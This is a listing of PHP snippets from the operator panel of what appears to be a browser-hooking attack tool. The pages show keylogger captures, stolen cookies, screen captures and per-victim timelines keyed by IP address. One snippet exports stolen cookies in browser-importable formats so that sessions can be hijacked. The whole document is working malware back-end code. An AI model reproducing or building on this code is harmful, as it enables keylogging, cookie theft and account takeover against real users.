Example #1
0
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if (!$login->loggedIn()) {
    $template->showLogin();
}
$sid = $_GET["id"];
$db->bind("keylog_id", $sid);
$keylogData = $db->query("SELECT cl.client_id, cl.ip, kl.client_id, kl.keylog_id, kl.page_load, kl.website, kl.field_name, kl.keylog_data, kl.time FROM clients AS cl JOIN keylogger AS kl ON cl.client_id = kl.client_id WHERE kl.keylog_id = :keylog_id ORDER BY kl.time ASC ");
$data["data"] = $keylogData;
$data["info"] = array("website" => $keylogData[0]["website"], "ip" => $keylogData[0]["ip"]);
$template->showHeader("Keylogger Data");
$template->showKeylog($data);
$template->showFooter();
Example #2
0
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if (!$login->loggedIn()) {
    $template->showLogin();
}
$template->showHeader("Dashboard");
$keylogger = $db->single("SELECT COUNT(*) FROM keylogger");
$cookies = $db->single("SELECT COUNT(*) FROM cookies");
$screens = $db->single("SELECT COUNT(*) FROM screen_capture");
$clients = $db->query("SELECT * FROM clients ORDER BY id DESC");
$data["keylogger"] = $keylogger;
$data["cookies"] = $cookies;
$data["screens"] = $screens;
$data["clientsCount"] = count($clients);
$data["clients"] = $clients;
$template->showIndex($data);
$template->showFooter();
Example #3
0
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if (!$login->loggedIn()) {
    $template->showLogin();
}
$clientId = $_GET["cid"];
$db->bind("client_id", $clientId);
$data["client"] = $db->row("SELECT * FROM clients WHERE client_id = :client_id ");
$db->bind("client_id", $clientId);
$totalItems = $db->single("SELECT COUNT(*) FROM timeline WHERE client_id = :client_id ");
$page = $_GET["page"];
if (empty($page)) {
    $page = 1;
}
$itemsPerPage = 10;
$pageUrl = "timeline.php?cid=" . $clientId;
$totalPages = ceil($totalItems / $itemsPerPage);
$pagePosition = ($page - 1) * $itemsPerPage;
$db->bindMore(array("client_id" => $clientId, "page_position" => $pagePosition, "items_per_page" => $itemsPerPage));
$data["timeline"] = $db->query("SELECT * FROM timeline WHERE client_id = :client_id ORDER BY page_load, time ASC LIMIT :page_position, :items_per_page ");
$data["pagination"] = paginate($itemsPerPage, $page, $totalItems, $totalPages, $pageUrl);
//////////////////////////////////////////////////////////
$template->showHeader("Timeline for " . '<span class="label label-danger">' . $data["client"]["ip"] . '</span>');
$template->showTimeline($data);
$template->showFooter();
Example #4
0
if (!$login->loggedIn()) {
    $template->showLogin();
}
//
$id = $_GET["id"];
$db->bind("unique_id", $id);
$cookieData = $db->row("SELECT cl.client_id, cl.ip, co.client_id, co.unique_id, co.website, co.cookie, co.time FROM clients AS cl JOIN cookies AS co ON cl.client_id = co.client_id WHERE co.unique_id = :unique_id ");
if (empty($cookieData)) {
    $template->showMessage("Invalid cookie id.", "Error");
}
if ($_GET["dl"] == "ie") {
    $cookies = explode("; ", $cookieData["cookie"]);
    foreach ($cookies as $k => $v) {
        list($name, $value) = explode("=", $v);
        echo "." . $cookieData["website"] . " \tFALSE\t/\tFALSE\t" . (time() + 60 * 60) . "\t" . $name . "\t" . $value . PHP_EOL . "<br>";
    }
    die;
}
if ($_GET["dl"] == "etc") {
    $cookies = explode("; ", $cookieData["cookie"]);
    $outputArray = array();
    foreach ($cookies as $k => $v) {
        list($name, $value) = explode("=", $v);
        $outputArray[] = array('domain' => "." . $cookieData["website"], "expirationDate" => time() + 60 * 60, "hostOnly" => false, "httpOnly" => false, "name" => $name, "path" => "/", "secure" => false, "session" => false, "storeId" => "0", "value" => $value, "id" => $i);
    }
    echo json_encode($outputArray);
    die;
}
$template->showHeader("Listing all captured cookies");
$template->showCookie($cookieData);
$template->showFooter();
<?php

require_once 'includes/functions.php';
$login = new Login();
$template = new Template();
if (!$login->loggedIn()) {
    $template->showLogin();
}
$sid = $_GET["id"];
$db->bind("screencap_id", $sid);
$screenshotData = $db->row("SELECT cl.client_id, cl.ip, sc.client_id, sc.screencap_id, sc.image_id, sc.page_load, sc.website, sc.time \r\n\tFROM clients AS cl JOIN screen_capture AS sc ON cl.client_id = sc.client_id WHERE sc.screencap_id = :screencap_id ORDER BY sc.time DESC ");
$template->showHeader("Screenshots");
$template->showScreenshots($screenshotData);
$template->showFooter();